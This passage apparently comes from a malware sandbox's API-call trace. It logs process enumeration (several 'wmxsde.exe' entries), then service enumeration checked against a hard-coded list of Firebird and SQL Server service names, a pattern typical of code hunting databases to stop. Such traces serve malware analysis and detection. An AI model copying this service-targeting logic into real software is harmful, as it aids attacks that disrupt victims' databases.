lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0xa38, pcPriClassBase=8, dwFlags=0x0, szExeFile="wmxsde.exe")) returned 1 [0202.846] lstrlenW (lpString="wmxsde.exe") returned 10 [0202.846] Process32NextW (in: hSnapshot=0x300, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0202.847] lstrlenW (lpString="dllhost.exe") returned 11 [0202.847] Process32NextW (in: hSnapshot=0x300, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdd8, pcPriClassBase=8, dwFlags=0x0, szExeFile="wmxsde.exe")) returned 1 [0202.848] lstrlenW (lpString="wmxsde.exe") returned 10 [0202.848] Process32NextW (in: hSnapshot=0x300, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdd8, pcPriClassBase=8, dwFlags=0x0, szExeFile="wmxsde.exe")) returned 0 [0202.849] CloseHandle (hObject=0x300) returned 1 [0202.849] Sleep (dwMilliseconds=0x1f4) [0203.462] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x459f8d0 [0203.463] EnumServicesStatusExW (in: hSCManager=0x459f8d0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x25eff3c, lpServicesReturned=0x25eff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x25eff3c, lpServicesReturned=0x25eff54, lpResumeHandle=0x0) returned 0 [0203.464] GetLastError () returned 0xea [0203.464] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x1c4a) returned 0x383a8c8 [0203.465] EnumServicesStatusExW (in: hSCManager=0x459f8d0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x383a8c8, cbBufSize=0x1c4a, pcbBytesNeeded=0x25eff3c, lpServicesReturned=0x25eff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x383a8c8, pcbBytesNeeded=0x25eff3c, lpServicesReturned=0x25eff54, lpResumeHandle=0x0) returned 1 [0203.466] CloseServiceHandle (hSCObject=0x459f8d0) returned 1 [0203.467] lstrlenW (lpString="Appinfo") returned 7 [0203.467] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0203.467] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0203.467] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0203.467] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0203.467] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0203.467] lstrlenW (lpString="AppXSvc") returned 7 [0203.467] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0203.467] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0203.467] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0203.467] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0203.467] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0203.467] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0203.467] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0203.467] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0203.467] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0203.467] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0203.467] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0203.467] lstrlenW (lpString="Audiosrv") returned 8 [0203.467] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0203.467] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0203.467] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0203.467] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0203.467] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0203.467] lstrlenW (lpString="BFE") returned 3 [0203.468] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0203.468] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0203.468] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0203.468] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0203.468] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0203.468] lstrlenW (lpString="BITS") returned 4 [0203.468] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0203.468] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0203.468] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0203.468] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0203.468] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0203.468] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0203.468] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0203.468] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0203.468] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0203.468] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0203.468] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0203.468] lstrlenW (lpString="CDPSvc") returned 6 [0203.468] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0203.468] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0203.468] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0203.468] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0203.468] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0203.468] lstrlenW (lpString="ClickToRunSvc") returned 13 [0203.468] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0203.468] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0203.469] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0203.469] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0203.469] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0203.469] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0203.469] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0203.469] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0203.469] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0203.469] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0203.469] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0203.469] lstrlenW (lpString="CryptSvc") returned 8 [0203.469] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0203.469] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0203.469] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0203.469] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0203.469] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0203.469] lstrlenW (lpString="DcomLaunch") returned 10 [0203.469] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0203.469] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0203.469] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0203.469] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0203.469] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0203.469] lstrlenW (lpString="DeviceAssociationService") returned 24 [0203.469] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0203.469] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0203.469] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0203.469] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0203.469] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0203.470] lstrlenW (lpString="Dhcp") returned 4 [0203.470] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0203.470] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0203.470] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0203.470] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0203.470] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0203.470] lstrlenW (lpString="Dnscache") returned 8 [0203.470] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0203.470] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0203.470] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0203.470] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0203.470] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0203.470] lstrlenW (lpString="DPS") returned 3 [0203.470] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0203.470] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0203.470] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0203.470] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0203.470] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0203.470] lstrlenW (lpString="DusmSvc") returned 7 [0203.470] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0203.470] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0203.470] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0203.470] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0203.470] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0203.470] lstrlenW (lpString="EventLog") returned 8 [0203.470] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0203.471] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0203.471] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0203.471] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0203.471] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0203.471] lstrlenW (lpString="EventSystem") returned 11 [0203.471] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0203.471] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0203.471] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0203.471] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0203.471] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0203.471] lstrlenW (lpString="FontCache") returned 9 [0203.471] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0203.471] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0203.471] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0203.471] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0203.471] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0203.471] lstrlenW (lpString="gpsvc") returned 5 [0203.471] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0203.471] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0203.471] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0203.471] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0203.471] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0203.471] lstrlenW (lpString="iphlpsvc") returned 8 [0203.471] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0203.471] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0203.471] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0203.471] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0203.472] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0203.472] lstrlenW (lpString="KeyIso") returned 6 [0203.472] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0203.472] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0203.472] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0203.472] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0203.472] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0203.472] lstrlenW (lpString="LanmanServer") returned 12 [0203.472] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0203.472] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0203.472] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0203.472] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0203.472] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0203.472] lstrlenW (lpString="LanmanWorkstation") returned 17 [0203.472] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0203.472] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0203.472] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0203.472] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0203.472] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0203.472] lstrlenW (lpString="lfsvc") returned 5 [0203.472] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0203.472] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0203.472] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0203.472] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0203.472] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0203.472] lstrlenW (lpString="lmhosts") returned 7 [0203.473] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0203.473] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0203.473] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0203.473] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0203.473] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0203.473] lstrlenW (lpString="LSM") returned 3 [0203.473] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0203.473] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0203.473] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0203.473] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0203.473] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0203.473] lstrlenW (lpString="MpsSvc") returned 6 [0203.473] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0203.473] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0203.473] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0203.473] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0203.473] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0203.473] lstrlenW (lpString="NcbService") returned 10 [0203.473] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0203.473] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0203.473] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0203.473] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0203.473] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0203.473] lstrlenW (lpString="netprofm") returned 8 [0203.473] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0203.474] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0203.474] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0203.474] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0203.474] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0203.474] lstrlenW (lpString="NgcSvc") returned 6 [0203.474] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0203.474] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0203.474] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0203.474] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0203.474] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0203.474] lstrlenW (lpString="NlaSvc") returned 6 [0203.474] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0203.474] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0203.474] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0203.474] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0203.474] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0203.474] lstrlenW (lpString="nsi") returned 3 [0203.474] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0203.474] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0203.474] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0203.474] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0203.474] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0203.474] lstrlenW (lpString="PcaSvc") returned 6 [0203.474] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0203.474] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0203.474] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0203.475] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0203.475] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0203.475] lstrlenW (lpString="PlugPlay") returned 8 [0203.475] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0203.475] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0203.475] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0203.475] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0203.475] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0203.475] lstrlenW (lpString="Power") returned 5 [0203.475] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0203.475] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0203.475] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0203.475] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0203.475] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0203.475] lstrlenW (lpString="ProfSvc") returned 7 [0203.475] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0203.475] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0203.475] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0203.475] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0203.475] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0203.475] lstrlenW (lpString="RpcEptMapper") returned 12 [0203.475] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0203.475] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0203.475] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0203.475] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0203.475] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0203.475] lstrlenW (lpString="RpcSs") returned 5 [0203.475] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0203.475] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0203.475] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0203.476] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0203.476] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0203.476] lstrlenW (lpString="SamSs") returned 5 [0203.476] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0203.476] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0203.476] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0203.476] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0203.476] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0203.476] lstrlenW (lpString="Schedule") returned 8 [0203.476] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0203.476] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0203.476] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0203.476] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0203.476] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0203.476] lstrlenW (lpString="SecurityHealthService") returned 21 [0203.476] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0203.476] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0203.476] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0203.476] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0203.476] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0203.476] lstrlenW (lpString="SENS") returned 4 [0203.606] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0203.606] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0203.606] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0203.606] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0203.606] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0203.606] lstrlenW (lpString="ShellHWDetection") returned 16 [0203.606] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0203.606] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0203.606] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0203.606] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0203.606] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0203.606] lstrlenW (lpString="Spooler") returned 7 [0203.606] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0203.606] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0203.606] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0203.606] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0203.606] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0203.606] lstrlenW (lpString="StateRepository") returned 15 [0203.606] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0203.606] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0203.606] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0203.607] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0203.607] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0203.607] lstrlenW (lpString="SysMain") returned 7 [0203.607] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0203.607] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0203.607] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0203.607] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0203.607] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0203.607] lstrlenW (lpString="SystemEventsBroker") returned 18 [0203.607] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0203.607] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0203.607] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0203.607] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0203.607] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0203.607] lstrlenW (lpString="Themes") returned 6 [0203.607] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0203.607] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0203.607] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0203.607] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0203.608] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2a0 [0203.614] Process32FirstW (in: hSnapshot=0x2a0, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, 